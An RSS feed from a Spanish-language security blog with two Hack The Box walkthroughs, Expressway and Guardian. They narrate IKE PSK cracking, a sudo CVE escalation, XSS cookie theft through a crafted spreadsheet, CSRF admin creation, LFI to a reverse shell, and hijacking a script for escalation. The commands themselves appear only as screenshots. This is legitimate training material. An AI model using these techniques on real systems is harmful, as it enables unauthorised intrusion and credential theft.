<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>DevilTrigger-Blog</title>
    <description>Blog donde publico temas sobre ciberseguridad</description>
    <link>https://dtrigger289.github.io</link>
    <atom:link href="https://dtrigger289.github.io/feed.xml" rel="self" type="application/rss+xml" />
    <author>
      <name>DevilTrigger</name>
      <email>dtrigger289@gmail.com</email>
      <uri>https://dtrigger289.github.io</uri>
    </author>
    
      <item>
        <title>Expressway WriteUp Hack The Box</title>
        <description>&lt;h1 id=&quot;introducción&quot;&gt;Introducción&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Expressway&lt;/strong&gt; es una máquina fácil de &lt;strong&gt;Hack The Box&lt;/strong&gt; que destaca la importancia de realizar un buen reconocimiento con &lt;strong&gt;Nmap&lt;/strong&gt;, la negociación de claves a través de &lt;strong&gt;IKE (Internet Key Exchange)&lt;/strong&gt;, la técnica de crackeo de hashes y la escalación de privilegios mediante una vulnerabilidad en &lt;strong&gt;sudo&lt;/strong&gt;.&lt;/p&gt;

&lt;h1 id=&quot;reconocimiento&quot;&gt;Reconocimiento&lt;/h1&gt;
&lt;p&gt;Comenzamos con nuestro clásico escaneo de puertos usando &lt;strong&gt;Nmap&lt;/strong&gt;. Para nuestra sorpresa, solo encontramos el puerto &lt;strong&gt;22&lt;/strong&gt; (SSH). Aunque podríamos intentar ataques de fuerza bruta, esto consumiría mucho tiempo, ya que no contamos con usuarios ni contraseñas para probar.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/ee43ff25-ecdb-4d41-9dd2-d0ce833cb451&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Dado que no es habitual en nosotros, decidimos escanear los puertos &lt;strong&gt;UDP&lt;/strong&gt;. Después de un tiempo, descubrimos el puerto &lt;strong&gt;500 UDP&lt;/strong&gt;, que ejecuta el servicio &lt;strong&gt;ISAKMP&lt;/strong&gt;, utilizado por &lt;strong&gt;IKE&lt;/strong&gt; para la negociación de VPN.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/0024ca0c-0608-4eee-a641-942c5fb5755b&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Usaremos la herramienta &lt;a href=&quot;https://salsa.debian.org/pkg-security-team/ike-scan&quot;&gt;&lt;strong&gt;ike-scan&lt;/strong&gt;&lt;/a&gt; para probar este servicio.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/9d598b2d-3e7f-41e0-93b6-fbccfc5466a9&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Este escaneo nos revela que utiliza un tipo de cifrado &lt;strong&gt;3DES&lt;/strong&gt;, que actualmente es débil, junto con un hash &lt;strong&gt;SHA1&lt;/strong&gt;, que también es vulnerable en la actualidad. Procederemos a realizar un escaneo más agresivo.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/d98512ea-4f7b-4792-8029-eeeaf83203c4&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;explotación&quot;&gt;Explotación&lt;/h1&gt;
&lt;p&gt;Con el siguiente comando, descubrimos que el &lt;strong&gt;ID&lt;/strong&gt; tiene un valor de ike@expressway.htb, que podría ser el nombre de usuario; lo utilizaremos después para acceder al puerto &lt;strong&gt;22&lt;/strong&gt;. Con la misma herramienta, extraeremos el hash del &lt;strong&gt;PSK&lt;/strong&gt; para crackearlo, ya que es débil.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/1c8b2739-2688-4ac9-8eff-a14b6f94595d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ya tenemos el hash; ahora utilizaremos la herramienta &lt;strong&gt;psk-crack&lt;/strong&gt; para obtener la contraseña.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/cbf67524-da20-4aac-8c40-f83e4b782733&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hemos conseguido la contraseña; ahora ingresaremos en el puerto &lt;strong&gt;22&lt;/strong&gt;, obtendremos la primera flag y comenzaremos la escalación de privilegios.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/8b7e42cc-3c65-4f7d-8bf0-b1b650303790&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;escalada-de-privilegios&quot;&gt;Escalada de privilegios&lt;/h1&gt;
&lt;p&gt;Primero, verifiquemos qué podemos hacer con &lt;strong&gt;sudo&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/bfaeffeb-ab18-4b79-a49c-74894153ad8d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Este mensaje de error es inusual; procederemos a comprobar el binario. Como se observa en la siguiente imagen, &lt;strong&gt;sudo&lt;/strong&gt; se encuentra en una ruta que no es la habitual; normalmente, debería estar en &lt;strong&gt;/usr/bin/sudo&lt;/strong&gt;. Esto indica que alguien ha instalado otra versión de &lt;strong&gt;sudo&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/a9de252b-9094-4b15-a767-01c849be2a74&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Verifiquemos la versión para confirmar nuestras sospechas.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/20ec5867-4fcc-4d4e-9cd9-5ad37af951a9&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Está utilizando la versión &lt;strong&gt;1.9.17&lt;/strong&gt;. Busquemos en Internet si existe algún &lt;strong&gt;CVE&lt;/strong&gt; relacionado con esta versión. Al realizar una búsqueda rápida, encontramos un &lt;a href=&quot;https://github.com/K1tt3h/CVE-2025-32463-POC&quot;&gt;&lt;strong&gt;CVE-2025-32463&lt;/strong&gt;&lt;/a&gt; que nos permite escalar privilegios.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/74cba1aa-485b-4c59-8cd3-bfed6c69cb7c&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Solo nos queda crear este exploit en la máquina víctima en el directorio &lt;strong&gt;/tmp&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/13b4f3f8-4acc-4bc4-98d0-b92a22a93e52&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Por último, daremos permisos de ejecución, ejecutaremos el exploit y obtendremos la última flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/f025316e-6547-4198-82ea-ae3f9014d4a8&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;conclusión&quot;&gt;Conclusión&lt;/h1&gt;
&lt;p&gt;La máquina &lt;strong&gt;Expressway&lt;/strong&gt; nos enseña sobre la relevancia de realizar un escaneo de puertos TCP y UDP, los peligros de los protocolos criptográficos obsoletos, las técnicas de descifrado de contraseñas, la identificación y explotación de instalaciones de software personalizadas, así como la investigación y aplicación de exploits públicos de &lt;strong&gt;CVE&lt;/strong&gt;. Esta máquina es perfecta para cualquier persona que esté comenzando a resolver máquinas en &lt;strong&gt;Hack The Box&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Espero que les haya gustado. ¡Nos vemos en la próxima!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/306dde1b-4c5d-447e-90e5-fa7ed51ee3f7&quot; alt=&quot;ken&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Sun, 08 Mar 2026 00:00:00 +0000</pubDate>
        <link>https://dtrigger289.github.io//Writeup-HTB-Expressway</link>
        <link href="https://dtrigger289.github.io/Writeup-HTB-Expressway"/>
        <guid isPermaLink="true">https://dtrigger289.github.io/Writeup-HTB-Expressway</guid>
      </item>
    
      <item>
        <title>Guardian WriteUp Hack The Box</title>
        <description>&lt;h1 id=&quot;introducción&quot;&gt;Introducción&lt;/h1&gt;

&lt;p&gt;La máquina &lt;strong&gt;Guardian&lt;/strong&gt; es posiblemente la más difícil y extensa que he resuelto hasta la fecha.&lt;/p&gt;

&lt;p&gt;Esta máquina está compuesta por vulnerabilidades que involucran usuarios con credenciales por defecto, inyección de parámetros en la URL y varios ataques XSS para obtener cookies. Explotaremos tokens CSRF para crear usuarios con privilegios de administrador y así escalar nuestros privilegios. Una vez que tengamos acceso como administradores del sitio web, utilizaremos una vulnerabilidad de &lt;strong&gt;Local File Inclusion&lt;/strong&gt; para establecer una conexión remota, acceder a la máquina como el usuario &lt;strong&gt;www-data&lt;/strong&gt;, encontrar las credenciales de &lt;strong&gt;jamil&lt;/strong&gt; en una base de datos y crackearlas utilizando una sal que acompaña a los hashes.&lt;/p&gt;

&lt;p&gt;Una vez dentro de la máquina como &lt;strong&gt;jamil&lt;/strong&gt;, encontraremos aplicaciones mal configuradas que nos permitirán escalar privilegios al usuario &lt;strong&gt;mark&lt;/strong&gt;. Con este usuario, observaremos que puede ejecutar como administrador la herramienta &lt;strong&gt;safeapachectl&lt;/strong&gt;. Finalmente, crearemos un módulo de configuración que nos permitirá establecer una conexión remota como el usuario &lt;strong&gt;root&lt;/strong&gt; y obtendremos la flag final.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;guardian&quot; src=&quot;https://github.com/user-attachments/assets/2a28f204-0cf6-4a2e-8ef8-edf67ae95686&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;enumeración&quot;&gt;Enumeración&lt;/h1&gt;
&lt;p&gt;Comenzamos enumerando los puertos abiertos de la máquina. En este caso, tiene abierto el puerto &lt;strong&gt;22&lt;/strong&gt;, que no podremos atacar de inmediato porque no tenemos usuarios, y no merece la pena gastar tiempo realizando ataques de fuerza bruta. Además, tenemos el puerto &lt;strong&gt;80&lt;/strong&gt;; por lo tanto, debemos añadir la IP de la máquina y el dominio a nuestro archivo &lt;strong&gt;/etc/hosts&lt;/strong&gt; para acceder a la web.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;1&quot; src=&quot;https://github.com/user-attachments/assets/8d74f34b-db35-4add-b150-2124a8977884&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al acceder al puerto &lt;strong&gt;80&lt;/strong&gt; con el navegador, veremos una página de bienvenida sobre &lt;strong&gt;Guardian University&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;2&quot; src=&quot;https://github.com/user-attachments/assets/c020ad80-d19a-43f7-81c5-f28f76d18d98&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si investigamos un poco la web, encontraremos mensajes sobre estudiantes, donde podremos anotar posibles usuarios y cuentas para realizar ataques de fuerza bruta.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;3&quot; src=&quot;https://github.com/user-attachments/assets/e79e7b15-d647-48e8-b57c-8c3b2d4a83d7&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si pulsamos en el botón “student portal” en la página principal, este nos redirige a &lt;strong&gt;portal.guardian.htb&lt;/strong&gt;, por lo que debemos añadirlo a &lt;strong&gt;/etc/hosts&lt;/strong&gt;. En este inicio de sesión, aparece una ventana emergente que nos indica que consultemos la guía del portal.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;4&quot; src=&quot;https://github.com/user-attachments/assets/17770303-a127-48f6-a3d2-ce21975f40a4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si hacemos clic en el enlace de la ventana emergente antes de que desaparezca, veremos una guía sobre cómo usar el portal. Al parecer, a los estudiantes se les asigna una contraseña por defecto al crear una cuenta.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;5&quot; src=&quot;https://github.com/user-attachments/assets/ead0f804-5aab-4dbd-8816-9c3ab68f4b79&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Utilizando los usuarios que encontramos al principio, descubrimos que el usuario &lt;strong&gt;GU0142023&lt;/strong&gt; no ha modificado su contraseña todavía, lo que nos permite acceder a su cuenta.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;6&quot; src=&quot;https://github.com/user-attachments/assets/4dbf2f24-bb35-4fa3-857e-46a783bd3205&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Una vez dentro de la plataforma, veremos distintas secciones como “My Courses”, “Assignments”, “Grades”, etc.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;7&quot; src=&quot;https://github.com/user-attachments/assets/77dc7520-3e90-405b-a6e6-829b1d76c246&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si navegamos un poco por la sección de “Chat”, notaremos que tiene una URL algo extraña. Podemos realizar ataques de fuerza bruta y probar combinaciones para encontrar conversaciones a las que no deberíamos tener acceso.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;8&quot; src=&quot;https://github.com/user-attachments/assets/241556a2-c8e5-40b0-804a-a6fe33143b40&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Después de un rato de prueba y error, encontraremos una conversación entre &lt;strong&gt;jamil&lt;/strong&gt; y el usuario &lt;strong&gt;admin&lt;/strong&gt;. En esta conversación, el usuario &lt;strong&gt;admin&lt;/strong&gt; le proporciona la contraseña en texto plano de la plataforma &lt;strong&gt;Gitea&lt;/strong&gt;. Esto nos permitirá investigar y aprender cómo funciona la aplicación web.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;9&quot; src=&quot;https://github.com/user-attachments/assets/48725c20-619c-4c35-b0dd-d1115adfb506&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si accedemos al subdominio de &lt;strong&gt;Gitea&lt;/strong&gt; e iniciamos sesión con las credenciales de &lt;strong&gt;jamil&lt;/strong&gt; que obtuvimos anteriormente, veremos que existen dos repositorios: &lt;strong&gt;portal.guardian.htb&lt;/strong&gt; y &lt;strong&gt;guardian.htb&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;11&quot; src=&quot;https://github.com/user-attachments/assets/a0b8fb36-66f0-46bd-ab18-e2e96c714f34&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Investigando, encontraremos que dentro del repositorio &lt;strong&gt;portal.guardian.htb&lt;/strong&gt; existe un archivo de configuración llamado &lt;strong&gt;config.php&lt;/strong&gt;, donde veremos las credenciales de la base de datos, que pueden ser útiles para seguir escalando.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;12&quot; src=&quot;https://github.com/user-attachments/assets/42978967-51ee-4f30-906f-204ae87658df&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Cuando te encuentres en situaciones donde no sabes cómo continuar, lo primero que debes preguntarte es: “¿Qué aplicaciones y versiones están corriendo?”. Al buscar por aplicaciones, encontraremos &lt;strong&gt;phpoffice&lt;/strong&gt; con una versión vulnerable.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;14&quot; src=&quot;https://github.com/user-attachments/assets/eb61a4bd-c9f8-4f05-a7d0-06f2e1ee9634&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;explotación&quot;&gt;Explotación&lt;/h1&gt;
&lt;p&gt;Una vez enumerado todo lo que podamos sobre la aplicación que queremos vulnerar, debemos investigar las vulnerabilidades de las aplicaciones que hemos encontrado. En este caso, podemos ver en el siguiente GitHub que la versión que se está utilizando es vulnerable a &lt;strong&gt;XSS&lt;/strong&gt; en la función &lt;strong&gt;generateNavigation()&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Como se muestra en la &lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx&quot;&gt;prueba de concepto&lt;/a&gt;, tendremos que generar un archivo &lt;strong&gt;.xlsx&lt;/strong&gt; e introducir un payload XSS en la segunda pestaña del documento. En mi caso, utilizaré una web como &lt;a href=&quot;https://www.treegrid.com/FSheet&quot;&gt;Treegrid&lt;/a&gt; para generarlo.&lt;/p&gt;

&lt;p&gt;Nota: He probado con distintas herramientas para crear archivos &lt;strong&gt;.xlsx&lt;/strong&gt;, como Microsoft Office, Google Sheets o Calc de LibreOffice, pero no ha funcionado. Si alguien sabe por qué, por favor escríbelo en la sección de comentarios de la publicación de LinkedIn.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;15&quot; src=&quot;https://github.com/user-attachments/assets/a3b77b0c-68d9-4abf-8bba-85f4eeb81fe0&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Una vez introducido el payload, abriremos nuestro servidor con Python para recibir las peticiones con la cookie del usuario que abra el archivo que hemos creado anteriormente.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;16&quot; src=&quot;https://github.com/user-attachments/assets/7c2ca351-3070-42a9-bb88-3ea315e1e8b0&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finalmente, solo queda enviar el archivo y esperar a que alguien lo abra.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;17&quot; src=&quot;https://github.com/user-attachments/assets/7d3b6f4f-5b85-457e-983d-45942326892d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Después de un rato, recibiremos la cookie del usuario que ha abierto el archivo.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;18&quot; src=&quot;https://github.com/user-attachments/assets/a8c429bd-19b8-438e-bcc7-2f81afac3f17&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ahora podremos modificar nuestra cookie en el navegador y acceder al panel de “Lecturer”.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;19&quot; src=&quot;https://github.com/user-attachments/assets/f43af2de-d7bd-41ba-89c3-c24ad99dc44a&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Tenemos nuevas secciones que investigar, como “Notice Board” y “Submissions”. Si examinamos detenidamente la sección de “Notice Board”, podemos ver qué tipo de peticiones utiliza este sitio.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;20&quot; src=&quot;https://github.com/user-attachments/assets/00025dee-9b85-4f10-8e8c-7cfa75ba6063&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Con la herramienta &lt;strong&gt;Burp Suite&lt;/strong&gt;, podemos interceptar la petición de “Create Notice” para ver qué parámetros requiere la web. Probemos a crear una noticia indicando el título, el contenido y un enlace de referencia para que lo revise el usuario admin. Para este último apartado, abriré un servidor HTTP con Python para ver si realmente algún usuario abre el archivo.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;22&quot; src=&quot;https://github.com/user-attachments/assets/00f26c48-0b93-4f73-a8b5-98ddfc4c2b22&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Con &lt;strong&gt;Burp Suite&lt;/strong&gt;, interceptaremos la petición para ver qué parámetros son necesarios para crear una noticia. Como se puede ver en la imagen, lo más importante que necesitaremos es un &lt;strong&gt;token CSRF&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;21&quot; src=&quot;https://github.com/user-attachments/assets/83d3ac74-8cce-44a3-a2b1-96a330b59db6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Continuando con la petición, después de un rato, un usuario abre el archivo &lt;strong&gt;.txt&lt;/strong&gt; que he dejado expuesto.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;23&quot; src=&quot;https://github.com/user-attachments/assets/6dc7c6aa-2615-4426-a67f-2c675283abaa&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Volvamos a &lt;strong&gt;Gitea&lt;/strong&gt; y entendamos cómo funcionan estos parámetros. En el archivo &lt;strong&gt;csrf-token.php&lt;/strong&gt;, descubriremos que los tokens se guardan en el directorio &lt;strong&gt;/config/tokens.json&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;24&quot; src=&quot;https://github.com/user-attachments/assets/5e01ad07-132e-4ad8-b051-0dbedf094da9&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Además, podemos ver cómo crear un usuario. Necesitamos investigar cómo funciona, ya que el usuario admin va a abrir nuestro archivo. Podemos crear un formulario para que el usuario admin lo ejecute y así escalar privilegios.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;25&quot; src=&quot;https://github.com/user-attachments/assets/c8216a05-cb64-4548-9d80-ea933ae4c65d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Comencemos creando el formulario que pulsará el usuario. Necesitaremos indicar a dónde apunta (en este caso, a &lt;strong&gt;createuser.php&lt;/strong&gt;), el token CSRF que generaremos después, todos los parámetros que hemos visto antes y un script para que, al abrir el archivo, se ejecute el formulario.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;26&quot; src=&quot;https://github.com/user-attachments/assets/2bccd832-cd46-4356-96b9-794b79a28bf4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Generaremos un token CSRF enviando una petición para crear una noticia.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;29&quot; src=&quot;https://github.com/user-attachments/assets/75262465-525a-4c82-a308-d4759e89b7ff&quot; /&gt;&lt;/p&gt;

&lt;p&gt;En el directorio que hemos visto antes, se generarán los tokens.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;30&quot; src=&quot;https://github.com/user-attachments/assets/deebd408-aa16-40ac-8c25-8efc97cde294&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Añadimos nuestro token CSRF a nuestro archivo &lt;strong&gt;.html&lt;/strong&gt; y abrimos nuestro servidor HTTP.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;31&quot; src=&quot;https://github.com/user-attachments/assets/a8d5037e-a1b4-47ea-b00e-837e08435b51&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finalmente, crearemos la noticia enviándola con &lt;strong&gt;Burp Suite&lt;/strong&gt; y esperaremos a que el usuario admin abra el formulario.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;32&quot; src=&quot;https://github.com/user-attachments/assets/758488d3-ee6f-42e3-8660-ef04a9fdbbd0&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como se ve en la imagen, el usuario admin ha accedido a nuestro archivo HTML. Ahora queda ver si el usuario que hemos especificado en el formulario se ha creado correctamente.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;28&quot; src=&quot;https://github.com/user-attachments/assets/e9b85fba-e474-4cd7-8c71-b468a799d63e&quot; /&gt;&lt;/p&gt;

&lt;p&gt;¡Lo hemos conseguido! Hemos escalado hasta el usuario admin, y ya queda menos para acceder a la máquina.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;33&quot; src=&quot;https://github.com/user-attachments/assets/f24229e0-be63-4f54-903c-e524cffa50e5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Accedemos al apartado de “Reports”, ya que es la sección que no tiene ningún usuario anterior. En este apartado, podemos ver un potencial &lt;strong&gt;Local File Inclusion&lt;/strong&gt; en la URL.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;34&quot; src=&quot;https://github.com/user-attachments/assets/07bc8bda-10fa-4901-b42b-5d22012ff863&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si miramos el código fuente, podemos confirmar que existe la vulnerabilidad.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;35&quot; src=&quot;https://github.com/user-attachments/assets/83a8e69f-4b74-4515-8b1f-49cb223ea6ff&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Utilizando esta &lt;a href=&quot;https://github.com/synacktiv/php_filter_chain_generator&quot;&gt;herramienta&lt;/a&gt;, podemos generar un payload que nos permita explotar la &lt;strong&gt;Local File Inclusion&lt;/strong&gt; y, además, generar una reverse shell. Primero, modifiquemos el código para que utilice uno de los archivos de la web.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;36&quot; src=&quot;https://github.com/user-attachments/assets/904e6075-83a1-4505-939a-8e7f76003624&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Probamos a generar un payload que cargue código; en este caso, que muestre la información de PHP que tenga instalada.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;37&quot; src=&quot;https://github.com/user-attachments/assets/fb219bbb-6e09-4c8e-b38d-8de20136d419&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si copiamos y pegamos todo el payload, comprobaremos que existe la vulnerabilidad, ya que muestra el panel de información de PHP.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;38&quot; src=&quot;https://github.com/user-attachments/assets/08e3a86d-edb3-4b76-9c31-3b20e46a81ee&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Probemos con la conexión remota. Como sabemos que tiene PHP, intentemos crear una conexión remota utilizando PHP.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;39&quot; src=&quot;https://github.com/user-attachments/assets/fad6dae2-a9b2-4593-994c-9cf261744134&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Activamos nuestro &lt;strong&gt;netcat&lt;/strong&gt; y pegamos el payload en la URL. Así es como hemos logrado conectarnos a la máquina.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;40&quot; src=&quot;https://github.com/user-attachments/assets/779e896d-81cc-4174-86db-708dc4105871&quot; /&gt;&lt;/p&gt;

&lt;p&gt;¿Recuerdas cuando encontramos las credenciales de la base de datos en el código?&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;41&quot; src=&quot;https://github.com/user-attachments/assets/c1f0eff2-792b-45c7-b977-952ced031ef7&quot; /&gt;&lt;/p&gt;

&lt;p&gt;El usuario &lt;strong&gt;www-data&lt;/strong&gt; puede acceder a la base de datos, así que nosotros también.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;42&quot; src=&quot;https://github.com/user-attachments/assets/21e6ff9d-6b15-4781-972b-97e111fd19a0&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si copiamos los hashes e intentamos crackearlos, no lo conseguiremos, ya que, como se puede ver en el código fuente, los hashes tienen una sal que debemos tener en cuenta al crackearlos. Para hacerlo con la herramienta &lt;strong&gt;Hashcat&lt;/strong&gt;, tendremos que añadir la sal de la siguiente forma.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;43&quot; src=&quot;https://github.com/user-attachments/assets/b90e0515-eb76-422e-9cf4-a71a2de9197a&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Después de unos 2 minutos, obtendremos las contraseñas en texto plano de &lt;strong&gt;admin&lt;/strong&gt; y &lt;strong&gt;jamil&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;45&quot; src=&quot;https://github.com/user-attachments/assets/fef69805-c10e-4d6b-a4ce-e020be4f111b&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si probamos a iniciar sesión en el &lt;strong&gt;SSH&lt;/strong&gt; con ellas, descubriremos que &lt;strong&gt;jamil&lt;/strong&gt; sí puede acceder al &lt;strong&gt;SSH&lt;/strong&gt;. Finalmente, hemos llegado a la primera mitad de la máquina.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;46&quot; src=&quot;https://github.com/user-attachments/assets/86198cd2-f0ee-429d-b9fa-6bfba3c37047&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Con esto, hemos completado una parte significativa del proceso de explotación de la máquina &lt;strong&gt;Guardian&lt;/strong&gt;. Ahora, con acceso a &lt;strong&gt;jamil&lt;/strong&gt;, podemos continuar explorando y buscando nuevas vulnerabilidades para escalar aún más nuestros privilegios y, eventualmente, obtener acceso completo a la máquina.&lt;/p&gt;

&lt;h1 id=&quot;escalada-de-privilegios&quot;&gt;Escalada de privilegios&lt;/h1&gt;
&lt;p&gt;Bien, hemos llegado a la máquina; solo queda alcanzar el acceso como &lt;strong&gt;root&lt;/strong&gt;. Comenzamos, como siempre, enumerando qué puede hacer este usuario con privilegios. En este caso, &lt;strong&gt;jamil&lt;/strong&gt; solo puede ejecutar el código &lt;strong&gt;utilities.py&lt;/strong&gt; con el usuario &lt;strong&gt;mark&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;47&quot; src=&quot;https://github.com/user-attachments/assets/157498da-069c-43c8-b032-4a447b655383&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Analicemos qué puede hacer este código. Parece que sirve para ejecutar comandos dentro de la máquina de forma automática, como hacer backups, comprimir archivos o comprobar el estado de procesos. Algo importante a tener en cuenta es que el usuario &lt;strong&gt;jamil&lt;/strong&gt; solo puede ejecutar el parámetro &lt;strong&gt;system-status&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;48&quot; src=&quot;https://github.com/user-attachments/assets/d3c4da6a-fbef-454d-aaa8-b4fa4c1640ea&quot; /&gt;&lt;/p&gt;

&lt;p&gt;El código anterior ejecuta otros scripts dentro de la carpeta &lt;strong&gt;/utils&lt;/strong&gt;. El usuario &lt;strong&gt;jamil&lt;/strong&gt; solo puede ejecutar el parámetro &lt;strong&gt;system-status&lt;/strong&gt;; como se puede ver en la imagen, no podemos editar ninguno de estos scripts, excepto el de &lt;strong&gt;status.py&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;49&quot; src=&quot;https://github.com/user-attachments/assets/ac3e2961-e5da-4163-941f-605e1c1bf014&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Probemos a crear una conexión remota para conectarnos como el usuario &lt;strong&gt;mark&lt;/strong&gt;. Primero, encriptaremos la conexión remota con &lt;strong&gt;base64&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;50&quot; src=&quot;https://github.com/user-attachments/assets/3087ae3d-bea8-4c9e-bce0-86c46aa030d8&quot; /&gt;&lt;/p&gt;

